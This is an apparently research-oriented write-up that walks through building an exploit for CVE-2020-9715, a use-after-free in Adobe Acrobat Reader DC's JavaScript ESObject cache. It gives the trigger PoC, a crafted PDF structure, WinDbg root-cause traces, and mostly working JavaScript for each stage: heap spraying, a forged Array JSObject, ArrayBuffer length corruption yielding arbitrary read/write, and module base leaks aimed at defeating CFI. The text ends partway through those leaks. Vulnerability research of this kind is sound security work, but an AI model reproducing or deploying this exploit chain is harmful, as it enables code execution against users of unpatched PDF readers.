CVE-2020-9715 is a use-after-free vulnerability of the ESObject object that was reported via the Zero Day Initiative and patched in Adobe Security Bulletin APSB20-48. ZDI had released an analysis of this vulnerability and also outlined the exploit strategy.
In this 13-months-late write-up, we discuss the actual steps that we used to develop the exploit as a fun exercise.
This vulnerability was submited to ZDI by Mark Vincent Yason (@MarkYason).
This exploit was developed and tested on Adobe Acrobat Reader DC 2020.009.20074.
The detailed description of the bug can be found in the ZDI blog [1], and the analysis is done on Adobe Reader DC Continuous 2020.009.20063.
The PoC is as below:
function triggerUAF() {
// cause an access to the freed Data ESObject in the object cache
this.dataObjects[0].toString();
}
function poc() {
// creating a Data ESObject to be stored in the object cache
this.dataObjects[0].toString();
// Remove reference to Data ESObject, address still in the object cache
this.dataObjects[0] = null;
// Trigger a GC which will free the Data ESObject then trigger the UAF
g_timeout = app.setTimeOut("triggerUAF()", 1000);
}
poc();
The this.dataObjects[0].toString()
call creates a Data
ESObject, and the pointer to this ESObject is stored in an object cache. With the subsequent calls to this.dataObjects[0] = null
and invoking GC via app.setTimeOut()
, the JS engine would free the ESObject and remove the reference from the object cache. The following crash can then be triggered with the this.dataObjects[0].toString()
call:
(1e00.1cf0): Access violation - code c0000005 (first chance)
eax=3ad18fb8 ebx=00000001 ecx=57166ff0 edx=04300000 esi=57166ff0 edi=5943cff8
eip=7c33d445 esp=032fe31c ebp=032fe320 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
EScript!mozilla::HashBytes+0x2ce95:
7c33d445 8b4004 mov eax,dword ptr [eax+4] ds:0023:3ad18fbc=????????
0:000> !heap -p -a eax
address 3a50efb8 found in
_DPH_HEAP_ROOT @ 731000
in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize)
3a530e04: 3a50e000 2000
5843adc2 verifier!AVrfDebugPageHeapFree+0x000000c2
779299e3 ntdll!RtlDebugFreeHeap+0x0000003e
7786fabe ntdll!RtlpFreeHeap+0x000000ce
7786f986 ntdll!RtlpFreeHeapInternal+0x00000146
7786f3de ntdll!RtlFreeHeap+0x0000003e
751fe58b ucrtbase!_free_base+0x0000001b
751fe558 ucrtbase!free+0x00000018
796e6969 AcroRd32!AcroWinMainSandbox+0x00007529
77a9cd9a EScript!double_conversion::DoubleToStringConverter
::CreateDecimalRepresentation+0x00004d1a
Note that the blog has outline the triggering JavaScript but not the PDF, one additional step we did is to create a PDF that contains an embedded file following the PDF specification:
1 0 obj
<<
/Type/Catalog
/Outlines 2 0 R
/Pages 3 0 R
/OpenAction 4 0 R
/Names <<
/EmbeddedFiles << /Names [(test.svg) 7 0 R ] >>
>>
>>
...
7 0 obj
<<
/Type /Filespec /F (test.svg)
/EF <</F 8 0 R >>
>>
endobj
8 0 obj
<</Type /EmbeddedFile /Subtype /image#2Fsvg+xml /Length 77>>
stream
<?xml version="1.0" standalone="no"?>
<svg><!-- Some SVG goes here --></svg>
endstream
endobj
Following the ZDI blog and debugging the sample created, we can confirm that the root cause of the stale reference of the ESObject in the object cache is due to use of inconsistent name string type when searching and deleting the object reference. Specifically, the ESObject was added to the cache by calling add_cache_entry()
with an ANSI name string "test.svg"
, but the del_cache_entry()
call is using a Unicode version of the string to search and delete the cache entry, resulted in a stale pointer:
ESString (size 0x18):
int type // 1: ANSI, 2: UNICODE
void* buffer // String buffer
int len // Length of the string
int max // Max capacity of the string buffer
int unknown
int unknown
The following are the key steps:
; text:00090D96 call add_cache_entry_90641
Breakpoint 0 hit
eax=3ae7eff0 ebx=2e53efc0 ecx=3ae7eff0 edx=00000008 esi=3ae66fe8 edi=3aefafb8
eip=7b460d96 esp=032fb978 ebp=032fb9b4 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x28d16:
7b460d96 e8a6f8ffff call EScript!double_conversion::DoubleToStringConverter
::CreateDecimalRepresentation+0x285c1 (7b460641)
0:000> dd edi l12 ; the ESObject
3aefafb8 2e53efc0 2ea29ba0 00000000 3afd2fb0
3aefafc8 00000000 00000000 00000000 00000000
3aefafd8 00000000 00000000 00000000 00000000
3aefafe8 00000000 00000000 c0c0c000 00000000
3aefaff8 00000000 00000000
0:000> dd esp l2
032fb978 032fb990 032fb998 ; arg_4 is the cache key
0:000> dd 032fb998 l2 ; Cache Key: (PDDoc, Name)
032fb998 1e75abc0 3b012fe8
0:000> dd 3b012fe8 l6 ; Name: ESString
3b012fe8 00000001 3b00afe0 00000008 00000020 ; ESString.type = 1 for ANSI
3b012ff8 00000000 00000000
0:000> db 3b00afe0 l10 ; ESString.buffer
3b00afe0 74 65 73 74 2e 73 76 67-00 00 00 00 00 00 00 00 test.svg........
Breakpoint 1 hit
eax=3ae7eff0 ebx=00000001 ecx=3ae7eff0 edx=00000012 esi=54694fe8 edi=3af86fe8
eip=7b460816 esp=032feb98 ebp=032febc4 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x28796:
7b460816 e8e33a0000 call EScript!double_conversion::DoubleToStringConverter
::CreateDecimalRepresentation+0x2c27e (7b4642fe)
0:000> dd esp l1 ; arg_0 is the cache key
032feb98 032febac
0:000> dd 032febac l2 ; Cache Key: (PDDoc, Name)
032febac 1e75abc0 52e16fe8
0:000> dd 52e16fe8 l6 ; Name: ESString
52e16fe8 00000002 57488fe0 00000012 00000020 // ESString.type = 2 for Unicode
52e16ff8 00000000 00000000
0:000> db 57488fe0 l20 ; ESString.buffer
57488fe0 fe ff 00 74 00 65 00 73-00 74 00 2e 00 73 00 76 ...t.e.s.t...s.v
57488ff0 00 67 00 00 00 00 00 00-00 00 00 00 00 00 00 00 .g..............
Note for both calls, the PDDoc
object is the same: 1e75abc0
.
; bu EScript!mozilla::HashBytes+0x2ce95
Breakpoint 1 hit
eax=0979ebb8 ebx=00000001 ecx=09829cb0 edx=00630000 esi=09829cb0 edi=0e2ae1c0
eip=77a6d445 esp=004fe56c ebp=004fe570 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
EScript!mozilla::HashBytes+0x2ce95:
77a6d445 8b4004 mov eax,dword ptr [eax+4] ds:0023:0979ebbc=0f0e0058
.text:00092AAC call sub_82310 ; this.dataObjects[0]
.text:00092AB1 push eax ; a freed object returned
.text:00092AB2 mov eax, [ebp+var_10]
.text:00092AB5 push dword ptr [edi+eax*4]
.text:00092AB8 call use_obj_3D430 ; UAF fetching JSObject at [eax+4]
.text:00092ABD mov eax, [ebp+var_10]
.text:00092AC0 add esp, 2Ch
A brief summary of the steps of exploitation by Mark Yason was also outlined in [1], we have followed most of it by recreating some of the key steps, while some other steps taking alternative approaches following a few public references [2], [3] and [4].
The steps involved in the exploit by Mark Yason are as follows:
We implement the steps in roughly two stages, the memory layout setup and triggering of vulnerability in the JavaScript function poc()
, which covers step (1) - (5), then invoke GC using app.setTimeOut()
, upon the time out, triggers the remaining steps (7) - (14).
The general idea of the exploit is to spray a lot of ArrayBuffer
objects of size 0x10000
, and the content of each ArrayBuffer
is set with data constructions that are needed for the exploit, in this way, because the data buffer of the ArrayBuffer would appear at the addresses in the form of 0x????0048+0x10
, we get access to the necessary data constructions.
The core of the exploit lies in the following steps:
FAKE_ARRAY_JSOBJ_ADDR
, e.g., 0x14000058
.fakeArrObj = this.dataObjects[0]
. With this fake Array JSObject, we gain the ability to access the same area of buffer from both Array and DataView interface.byteLength
field of the subsequent ArrayBuffer
object; and by storing JavaScript object using array element assignment we can leak code pointers using the DataView
of the ArrayBuffer
object.The following configurations are used in the final tested exploit:
/ * The ArrayBuffer spray */
var spray_base = 0x14000048; // 0x0f0e0048
var spray_len = 0x10000 - 24;
var spray_size = 0xd00;
var spray_arr1 = new Array(spray_size);
/* The string spray */
var esobj_str = null;
var spray_arr2 = new Array(0x40);
esobj_str
is used to occupy the freed ESObject with controlled content and spray_arr2
is used to keep the references for occupying the freed ESObject. With reference to [2], we can see how an ESObject and its corresponding JSObject
instance are linked:
; at the call to add_cache_entry_90641()
Breakpoint 0 hit
eax=3aa3aff0 ebx=2e32afc0 ecx=3aa3aff0 edx=00000008 esi=3ab16fe8 edi=3a92efb8
eip=77ac0d96 esp=02febb78 ebp=02febbb4 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x28d16:
77ac0d96 e8a6f8ffff call EScript!double_conversion::DoubleToStringConverter::
CreateDecimalRepresentation+0x285c1 (77ac0641)
; The 0x48 bytes ESObject
0:000> dd edi l12
3a92efb8 2e32afc0 2e729ba0 00000000 3a8b6fb0 ; 2nd DWORD: JSObject
3a92efc8 00000000 00000000 00000000 00000000
3a92efd8 00000000 00000000 00000000 00000000
3a92efe8 00000000 00000000 c0c0c000 00000000
3a92eff8 00000000 00000000
; 2nd DWORD: associated JSObject (Liu Ke @ HitB [2])
0:000> dd 2e729ba0
2e729ba0 2e7b0700 2e725be0 00000000 77ca5528
2e729bb0 3a92efb8 00000000 00000000 00000000
; --------
; |--> points back to ESObject
To control the JSObject
pointer in ESObject object, we just need a spray string esobj_str
of 0x48 bytes that has a controlled value at the 2nd DWORD.
The first heap spray places controlled data at predictable address using ArrayBuffer
objects, once earlier disclosure of the technique was the In-the-Wild exploit for Adobe Reader CVE-2018-4990. It is done with the following:
for(i = 0; i < spray_size; i ++)
spray_arr1[i] = new ArrayBuffer(0x10000 - 24);
which would layout ArrayBuffer
objects of byteLength
0xffe8
, with 8 bytes of heap header and 0x10 bytes header, they are 0x10000 byte chunks and most of them would be aligned at addresses with a fixed lower word such as 0x????0048
:
0:000> dd 0f0e0040
0f0e0040 26125a1f 0834b8ea 00000000 0000ffe8
0f0e0050 08de38c8 00000000 00000000 00000000
We can then proceed to constructing a fake Array
JSObject
with its property table and elements array header inside the 0xffe8
bytes of data buffer for each ArrayBuffer
objects.
At the time of writing this technique does not seem to be publicly known, despite the mention in the ZDI blog post. It sounds like a very powerful tool when we've got a JSObject
primitive, i.e., attacker has control over a dangling reference from JS engine and the object memory can be fully controlled.
A somewhat similar technique was first seen used in the Tianfu Cup 2019 exploit [4] by @b1t (Phan Thanh Duy). In this PoC there is a stale reference to a freed Sound
object, by allocating and freeing an Array JSObject into the freed memory, he can flush the memory to have Array
JSObject
headers and basic structures, yet having a JSObject
reference pointing to this freed memory. Meanwhile by allocating a TypedArray
object into the _elements
buffer of the freed Array
JSObject
, he gets another reference to the Array
_elements
buffer. In this way the _elements
buffer can now be read / write accessed using both the Array
or the TypedArray
reference, this can then be turned into relative and arbitrary read / write capabilities.
The sketch of this exploit of CVE-2020-9715
by ZDI is alike but of a different setup. First, we already have read and write access to the memory with the associated DataView
object of the ArrayBuffer
. Second we can not allocate an Array
JSObject
into the memory that's already occupied by ArrayBuffer
, so the missing step is to establish read and write access by crafting an Array
JSObject
from scratch. It is not clear whether this is the original technique in Mark Yason's exploit, but does seem to be the least complex way since it's the only missing step: with a fake Array
JSObject
, we can assign the address to fakeArrObj
and the rest of the steps would match perfectly to the sketch in ZDI blog.
Due to the version differences of the SpiderMonkey JavaScript engine used in Adobe Reader DC and other public versions such as FireFox, and a lack of documentation and public symbols, we do not have the exact mapping of the data structures for the Array
JSObject
. Therefore the construction of fake Array
JSObject
was trial-and-error based on debugging, with a few references including the source code of Adobe Reader JS engine and the dissection of FireFox SpiderMonkey by @argp in [3].
The Array
JSObject
has a 0x10 bytes header:
0:000> dd 0f0e0040
0f0e0040 26125a1f 0834b8ea 00000000 0000ffe8
0f0e0050 08de38c8 00000000 00000000 00000000
The field elements_
points to the body of the array, and the body has a 0x10 bytes header right before the elements_
pointer. This is either continuous to the Array
JSObject
header, or being reallocated to a different area. We can observe this from the array spray_arr2[]
, of esobj_str
strings which (for now) is made up of the following pattern: "\xc0\xc0\xc0\xc0\x58\x00\x0e\x0f"
. This is when we test step 2 and 7 with the JSObject
pointer at 0x0f0e0058
with the following test code:
var spray_arr2 = new Array(40);
esobj_str = unescape("%uc0c0%uc0c0%u0058%u0f0e"); // from spray_base + 0x10
while (esobj_str.length < 0x40) {
esobj_str += esobj_str;
}
for(i = 0x12; i < 0x50; i ++)
spray_arr2[i] = esobj_str.substring(0, 0x48/2-1).toUpperCase();
We can then use the debugger and references to find out how to construct a fake array JSObject
code>:
spray we search the string backwards to locate the Array JSObject:
0:000> s 0 l?0xffffffff c0 c0 c0 c0 58 00 0e 0f
...
09f2b400 c0 c0 c0 c0 58 00 0e 0f-c0 c0 c0 c0 58 00 0e 0f ....X.......X...
09f2b408 c0 c0 c0 c0 58 00 0e 0f-c0 c0 c0 c0 58 00 0e 0f ....X.......X...
09f2b410 c0 c0 c0 c0 58 00 0e 0f-c0 c0 c0 c0 58 00 00 00 ....X.......X...
09f2b428 c0 c0 c0 c0 58 00 0e 0f-c0 c0 c0 c0 58 00 0e 0f ....X.......X...
09f2b430 c0 c0 c0 c0 58 00 0e 0f-c0 c0 c0 c0 58 00 0e 0f ....X.......X...
...
; pick one that is 0x48 bytes
0:000> !heap -p -a 09f2b400
address 09f2b400 found in
_HEAP @ 3020000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
09f2b3d0 000a 0000 [00] 09f2b3d8 00048 - (busy)
; search the UserPtr to locate the string
0:000> s 0 l?0xffffffff d8 b3 f2 09
095ee134 d8 b3 f2 09 00 00 00 00-00 00 00 00 34 00 00 00 ............4...
; the string 'descriptor' is at 095ee130
0:000> dd 095ee130 - 10 l 0xc
095ee120 00000232 09e9fb20 0000003f 00000000
095ee130 00000234 09f2b3d8 00000000 00000000
095ee140 00000034 095ee148 c0c0c0c0 00000058
; search the string object to locate spray_arr2[] elements_ buffer
0:000> s 0 l?0xffffffff 30 e1 5e 09
09cdd6e8 30 e1 5e 09 85 ff ff ff-60 e1 5e 09 85 ff ff ff 0.^.....`.^.....
09d8bc58 30 e1 5e 09 85 ff ff ff-60 e1 5e 09 85 ff ff ff 0.^.....`.^.....
; the first result is the freed buffer of 0x10 elements, capacity 0x28
0:000> !heap -p -a 09cdd6e8
address 09cdd6e8 found in
_HEAP @ 3020000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
09cdd680 0013 0000 [00] 09cdd688 00090 - (free)
0:000> dd 09cdd688 l30
09cdd688 00000000 00000010 00000010 00000028
09cdd698 0959ff40 ffffff85 0959ff70 ffffff85
09cdd6a8 0959ffa0 ffffff85 0959ffd0 ffffff85
09cdd6b8 095ee010 ffffff85 095ee040 ffffff85
; the second result is the reallocation triggered by 10-th string
0:000> !heap -p -a 09d8bc58
address 09d8bc58 found in
_HEAP @ 3020000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
09d8bbf0 0023 0000 [00] 09d8bbf8 00110 - (busy)
0:000> dd 09d8bbf8 l40
09d8bbf8 00000000 00000028 00000040 00000028
09d8bc08 0959ff40 ffffff85 0959ff70 ffffff85
09d8bc18 0959ffa0 ffffff85 0959ffd0 ffffff85
09d8bc28 095ee010 ffffff85 095ee040 ffffff85
09d8bc38 095ee070 ffffff85 095ee0a0 ffffff85
09d8bc48 095ee0d0 ffffff85 095ee100 ffffff85
09d8bc58 095ee130 ffffff85 095ee160 ffffff85
...
; We've found the array elements_ buffer at 09d8bbf8
From [3], we can map the fields to the Array
JSObject
header and the elements_
buffer prepended header:
; js::HeapPtrShape shape_;
; js::HeapPtrTypeObject type_;
; js::HeapSlot *slots_;
; js::HeapSlot *elements_;
shape_ type_ slots_ elements_
+0x00 ........ ........ 00000000 0d0e004c
flags initLen capacity length
+0x10 00000000 00000012 00000020 00000028
However, with a simplistic construction with both shape_
and type_
set to null, assigning the pointer to fakeArrObj
does not lead to a recognized JavaScript object. From the source code of Adobe Reader SpiderMonkey we can find some similarities to the runtime data but does not lead to a complete match:
struct JSObject {
JSObjectMap *map;
jsval *slots;
};
struct JSObjectMap {
jsrefcount nrefs; /* count of all referencing objects */
JSObjectOps *ops; /* high level object operation vtable */
uint32 nslots; /* length of obj->slots vector */
uint32 freeslot; /* index of next free obj->slots element */
};
As now, we can confirm the 3rd DWORD in Array
JSObject
is normally 0, and the 4th DWORD is the pointer elements_
. And there's no such data structures shape_
and type_
in Adobe source. We denote the first two DWORD as dw0
and dw1
.
; Repeating the steps we can get the Array JSObject header
; spray_str -> str obj -> array -> elements -> metadata -> shape_:
0:000> dd 0aaafd30
0aaafd30 0aa85d18 0aa25960 00000000 0b3e26b8 ; elements_: 0b3e26b8
0aaafd40 00000000 00000000 00000000 00000000
; with dw0 = 0aa85d18, and dw1 = 0aa25960
0:000> dd 0aa85d18
0aa85d18 0aa3f420 0a812580 07ffffff 00000044
; 1st DW of dw0 is a pointer to "Array"
0:000> dd 0aa3f420 l4
0aa3f420 79c017f0 0aa28090 00000000 0a3548f0
; 2nd DW of dw0 is a table of 0x20 bytes records {len, &wcstr, wcstr}:
; there's a total of 0xd4 records, looks like a global map of properties
0a812580 68 00 00 00 88 25 81 0a 6c 00 65 00 6e 00 67 00 h....%..l.e.n.g.
0a812590 74 00 68 00 00 00 00 00 00 00 00 00 00 00 00 00 t.h.............
0a8125a0 48 00 00 00 a8 25 81 0a 6c 00 69 00 6e 00 65 00 H....%..l.i.n.e.
0a8125b0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0a8125c0 a8 00 00 00 c8 25 81 0a 6c 00 69 00 6e 00 65 00 .....%..l.i.n.e.
0a8125d0 4e 00 75 00 6d 00 62 00 65 00 72 00 00 00 00 00 N.u.m.b.e.r.....
...
0a813fc0 b8 00 00 00 c8 3f 81 0a 67 00 65 00 74 00 55 00 .....?..g.e.t.U.
0a813fd0 54 00 43 00 4d 00 6f 00 6e 00 74 00 68 00 00 00 T.C.M.o.n.t.h...
0a813fe0 78 00 00 00 e8 3f 81 0a 67 00 65 00 74 00 44 00 x....?..g.e.t.D.
0a813ff0 61 00 74 00 65 00 00 00 00 00 00 00 00 00 00 00 a.t.e...........
; dw1 does look like it's related to type_
:
0:000> dd 0aa25960
0aa25960 79c017f0 0aa2d040 00000000 80ff0008 ; 1st DW: pp to "Array"
0aa25970 00000000 00000000 00000000 00000000
0aa25980 0aa25a80 0aa25a80 00000000 80ff0008
0aa25990 00000000 00000000 00000000 00000000
0aa259a0 0a2c5780 0aa2a010 00000000 80ff0008
0aa259b0 00000000 00000000 00000000 00000000
..
; 1st dword of dw1: ptr to "Array":
0:000> db poi(79c017f0) l8
79b42688 41 72 72 61 79 00 00 00 Array...
By repeated trial and error with step 2-8 implemented, we eventually arrive at a construction that gives a valid JSObject
confirmed by the following:
console.println("[+] fakeArrObj constructed. Type: " + typeof(fakeArrObj));
The old offset used for FAKE_ARRAY_JSOBJ_ADDR
was 0x0f0e0058
, in subsequent test we changed it to 0x14000048
for better reliability. The property table has only one entry for "length"
and there are a few hacks to make the code goes through. We arrange the elements_
buffer near the end of the ArrayBuffer to corrupt the next ArrayBuffer
byteLength
field. The completed spray and construction as below:
function poc() // Test on: 2020.009.20063 / 20074
{
/* 1. Spray many ArrayBuffer, each with a fake ArrayObject (array JSObject) */
var ab_base = spray_base + 0x10; // 0x0f0e0058: aka FAKE_ARRAY_JSOBJ_ADDR
for(i = 0; i < spray_size; i ++)
{
spray_arr1[i] = new ArrayBuffer(0x10000 - 24);
var dv = new DataView(spray_arr1[i]);
/* dw0 dw1 dw2 elements_
* +0x00 ........ ........ 00000000 0f0f0038
*/
dv.setUint32( 0x00, ab_base + 0x48, true); // 0x0f0e0058: 0x0f0e00a0 dw0
dv.setUint32( 0x04, ab_base + 0x68, true); // 0x0f0e005c: 0x0f0e00c0 dw1
dv.setUint32( 0x0c, ab_base + 0xffe0, true); // 0x0f0e0064: 0x0f0f0038 elem_
// craft dw0
dv.setUint32( 0x48, ab_base + 0xa0, true); // 0x0f0e00a0: 0x0f0e00f8
dv.setUint32( 0x4c, ab_base + 0xc8, true); // 0x0f0e00a4: 0x0f0e0120 ppty table
dv.setUint32( 0x50, 0x07ffffff, true); // 0x0f0e00a8: const
dv.setUint32( 0x54, 0x00000044, true); // 0x0f0e00ac: const
// 0xe0: "Array", 0xe8: &"Array", 0xec: 6, 0xf8: 0xe8
dv.setUint32( 0x88, 0x61727241, true); // 0x0f0e00e0: Str
dv.setUint32( 0x8c, 0x00000079, true); // 0x0f0e00e4
dv.setUint32( 0x90, ab_base + 0x88, true); // 0x0f0e00e8: 0x0f0e00e0 pStr
dv.setUint32( 0x94, 0x0000000c, true); // 0x0f0e00ec
dv.setUint32( 0xa0, ab_base + 0x90, true); // 0x0f0e00f8: 0x0f0e00e8 ppStr
// hack chunk / arena end marking @ 0x0f0ffffc and 0x0f0e0000
dv.setUint32(0xffa4, ab_base + 0x7fa8, true); // 0x0f0efffc: 0x0f0e8000
dv.setUint32(0xffa8, ab_base + 0x7fac, true); // 0x0f0f0000: 0x0f0e8004
dv.setUint32(0x7fa8, 0x00000000, true); // 0x0f0e8000
dv.setUint32(0x7fac, 0x00000000, true); // 0x0f0e8004
// craft dw1
dv.setUint32( 0x68, ab_base + 0x90, true); // 0x0f0e00c0: 0x0f0e00e8
dv.setUint32( 0x6c, 0x00000000, true); // 0x0f0e00c4
dv.setUint32( 0x74, 0x80ff0008, true); // 0x0f0e00cc: const
// property table with entry "length"
dv.setUint32( 0xc8, 0x00000068, true); // 0x0f0e0120: size
dv.setUint32( 0xcc, ab_base + 0xd0, true); // 0x0f0e0124: 0x0f0e0128 addr
dv.setUint32( 0xd0, 0x0065006c, true); // 0x0f0e0128: str
dv.setUint32( 0xd4, 0x0067006e, true); // 0x0f0e012c
dv.setUint32( 0xd8, 0x00680074, true); // 0x0f0e0130
// craft marker
dv.setUint32(0xffe0, 0x11224433, true); // 0x0f0f0038
dv.setUint32(0xffe4, 0xffffff81, true); // 0x0f0f003c
/* flags initLen capacity length
* +0x10 00000000 00000028 00000040 00000028
*/
var _elem_offset = 0x0f0f0038 - 0x0f0e0058;
dv.setUint32(_elem_offset - 0xC, 0x28, true); // initLen
dv.setUint32(_elem_offset - 0x8, 0x40, true); // capacity
dv.setUint32(_elem_offset - 0x4, 0x28, true); // length
delete dv;
}
//...
}
Due to EScript code in checking SpiderMonkey chunk and arena end markings, we've added code to work around by setting valid pointers to the chunk / arena end marking @ 0x0f0ffffc
and 0x0f0e0000
, the data at these pointers should be 0.
We've also added markers to the fake Array JSObject to confirm the successful construction in step 8.
The esobj_str
string only needs to have the crafted JSObject pointer at the 2nd DWORD of the ESObject.
esobj_str = unescape("%uc0c0%uc0c0%u0058%u1400"); // from spray_base + 0x10
while (esobj_str.length < 0x40) {
esobj_str += esobj_str;
}
Activate the LFH for size 0x48 so that in step 4 the ESObject created will be in LFH. Note that static JS strings do not reside in the process heap. But the trick from [5] allow us to create a copy of the string via heap allocation by calling either toLowerCase()
or toUpperCase()
, one of which that does not alter the pointer value coded into esobj_str
.
/* 3. Prime the LFH for ESObject size (0x48) */
for(var i = 0; i < 0x12; i ++)
spray_arr2[i] = esobj_str.substring(0, 0x48/2-1).toUpperCase();
/* 4. Trigger creation of a Data ESObject to store in object cache */
this.dataObjects[0].toString();
/* 5. Remove reference to the Data ESObject, address still in object cache */
this.dataObjects[0] = null;
After testing a much smaller timeout value than earlier used could improve the reliability to near 100%.
/* 6. Trigger GC to free the Data ESObject (address is still in the object cache) */
g_timeout = app.setTimeOut("afterGC()", 10);
/* 7. Overwrite the freed ESObject with spray string in step 2 */
for(i = 0x12; i < 0x30; i ++)
spray_arr2[i] = esobj_str.substring(0, 0x48/2-1).toUpperCase();
This would fetch the JSObject
pointer of the ESObject and assign it to the dummy reference fakeArrObj
. As long as step 7 is successful, we can expect the crafted Array
JSObject
right at FAKE_ARRAY_JSOBJ_ADDR
and fakeArrObj
is no longer null. The Array
JSObject
type check is confirmed by accessing the first cell to match against the planted marker 0x11224433
.
/* 8. Assign the freed ESObject to fakeArrObj:
* - the filled value FAKE_ARRAY_JSOBJ_ADDR interpreted as JSObject
* - A fake array object in (1) can now be accessed via fakeArrObj
*/
fakeArrObj = this.dataObjects[0];
try {
if (fakeArrObj != null && fakeArrObj[0] == 0x11224433)
console.println("[+] fakeArrObj constructed. Type: " + typeof(fakeArrObj));
else {
console.println("[-] fakeArrObj: Array JSObject incomplete.");
return;
}
}
catch(e) {
handleExcp(e, 6);
return;
}
Recall in step 1 that _elem_offset = 0x0f0f0038 - 0x0f0e0058;
The first cell of the Array would start from offset 0xFFE0
at the end of current ArrayBuffer, 0x14000038
in our case. This would write the pair (0, 0xFFFFFF81)
after 0x10 bytes, right at the 1st and 2nd DWORD in the ArrayBuffer header. The 1st DWORD is always 0 so left untouched, and the byteLength
field is changed to 0xFFFFFF81
. Effectively giving us global read and write capability with just one overwrite.
/* 9. Use fakeArrObj to overwrite the ArrayBuffer's byteLength */
fakeArrObj[2] = 0;
After trial and error, we can leak AcroForm.api
base from an XMLNode
object, by assigning the object to a cell of the fake Array, to later read the pointer out with our global read primitive, as the code below:
/* 10. Create a Field object as an element of fakeArrObj:
* - This stores a pointer to the Field object into ArrayBuffer
* - Later to leak AcroForm.api base from this pointer
*/
var oNodes = XMLData.parse("<a></a>", false); // AB[0,1] = (ptr,0xffffff87)
fakeArrObj[4] = oNodes;
var field1 = this.getField("Field1");
fakeArrObj[6] = field1;
We've also assigned a TextField object into fakeArrObj[6]
in order to execute shellcode later.
With the byteLength field being corrupted, we can find the ArrayBuffer
in the spray array.
/* 11. Locate the corrupted ArrayBuffer */
for(var i = 0; i <spray_size; i ++)
{
if (spray_arr1[i].byteLength != 0xffe8)
{
console.println("[+] R/W ArrayBuffer: byteLen = " +
spray_arr1[i].byteLength + ", index = " + i);
break;
}
}
if (i == spray_size) {
console.println("[-] Corrupted ArrayBuffer not found.");
return;
}
/* 12. Prepare a DataView for the ArrayBuffer (11) to build AAR/AAW primitive */
g_DV = new DataView(spray_arr1[i]);
We can now use this ArrayBuffer to create global read / write primitives:
/* global R/W */
var g_DV = null;
var g_base = spray_base + 0x10000 + 0x10;
var arr_elem = g_base - 0x20;
function g_read(addr) {
return g_DV.getUint32((0x100000000 + addr - g_base) & 0xffffffff, true);
}
function g_write(addr, val) {
g_DV.setUint32((0x100000000 + addr - g_base) & 0xffffffff, val, true);
}
A first application is to leak EScript.api
base by reading the vftable of the DataView
code> object:
var escript_base = g_read(g_read(spray_base + 8) + 0xc) - 0x275528; // 0x0f0e0048
console.println("[+] EScript.api: 0x" + escript_base.toString(16));
For this part we've referenced heavily to [4], and reused a good part of the code from it. It is similar that most modules in Adobe Reader DC now has CFI enabled, so simply replacing a vftable pointer to kick start shellcode would not work, such as the old bookmarkRoot
trick used in CVE-2018-4990:
//Testing by setting offset +0x600 to 0x41414141, blocked by CFI in EScript:
var objescript = g_read(escript_base + 0x2753EC);
var bkm = this.bookmarkRoot;
g_write(objescript + 0x600, 0x41414141);
bkm.execute();
; The calling code to bkm.execute()
.text:0003D681 mov ecx, dword_2753EC
.text:0003D687 push esi ; uintptr_t
.text:0003D688 push eax ; unsigned int
.text:0003D689 push [ebp+var_8] ; wchar_t *
.text:0003D68C mov esi, [ecx+600h]
.text:0003D692 mov ecx, esi
.text:0003D694 push ebx ; wchar_t *
.text:0003D695 call ds:___guard_check_icall_fptr
.text:0003D69B call esi ; bkm.execute()
.text:0003D69D mov esi, [edi+0Ch]
; result in CFI exception, note that ESI is 0x41414141:
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00414141 ebx=505e2f38 ecx=41414141 edx=00aa0000 esi=41414141 edi=062eab78
eip=77373b4b esp=02bde2e0 ebp=02bde314 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010216
ntdll!LdrpValidateUserCallTargetBitMapCheck:
77373b4b 8b1482 mov edx,dword ptr [edx+eax*4] ds:0023:01af0504=????????
0:000> kb
# ChildEBP RetAddr Args to Child
00 02bde2dc 5046d69b 505e2f38 00000003 0d151ff8 ntdll!LdrpValidateUserCallTargetBitMapCheck
01 02bde314 5046d579 09ac4d58 505e2f38 0d1af638 EScript!mozilla::HashBytes+0x2d0eb
02 02bde330 5046d555 0d1af638 505e2f38 09ac4d58 EScript!mozilla::HashBytes+0x2cfc9
03 02bde34c 5047034a 09ac4d58 00000000 505e2f38 EScript!mozilla::HashBytes+0x2cfa5
Following [4], we can verify that icucnv58.dll
does not have CFI enabled and there are some pointers to the module in AcroForm.api
. We use fakeArrObj[4]
from step 10 to leak the base address:
var xfaobj_addr = g_read(g_read(arr_elem + 0x20) + 0x10); // [4] at 0x0f0f0058
var acroform_base = g_read(xfaobj_addr + 0x28) - 0x129f90;
console.println("[+] AcroForm.api: 0x" + acroform_base.toString(16));
However it is not all simply just an XFA object pointer being stored in the Array with type value 0xffffff87
. There are several layers of encapsulation from JSObject to ESObject, then to the XFA Object:
; Check the oNodes object we used for leaking AcroForm base:
; var oNodes = XMLData.parse("<a></a>", false); // AB[0,1] = (ptr,0xffffff87)
; fakeArrObj[4] = oNodes;
0:009> dd 0f0f0048-20
0f0f0028 00000000 00000028 00000040 00000028
0f0f0038 00000000 00000000 08971766 08a2214a
0f0f0048 00000000 ffffff81 09c31450 00000000
0f0f0058 09c299c0 ffffff87 00000000 0f0f0038 ; [0] -> JSObject
; the store pointer 09c299c0 at fakeArrObj[4] is JSObject (SpiderMonkey)
0:009> dd 09c299c0
09c299c0 09c27448 09c25bc0 09714230 506a5528
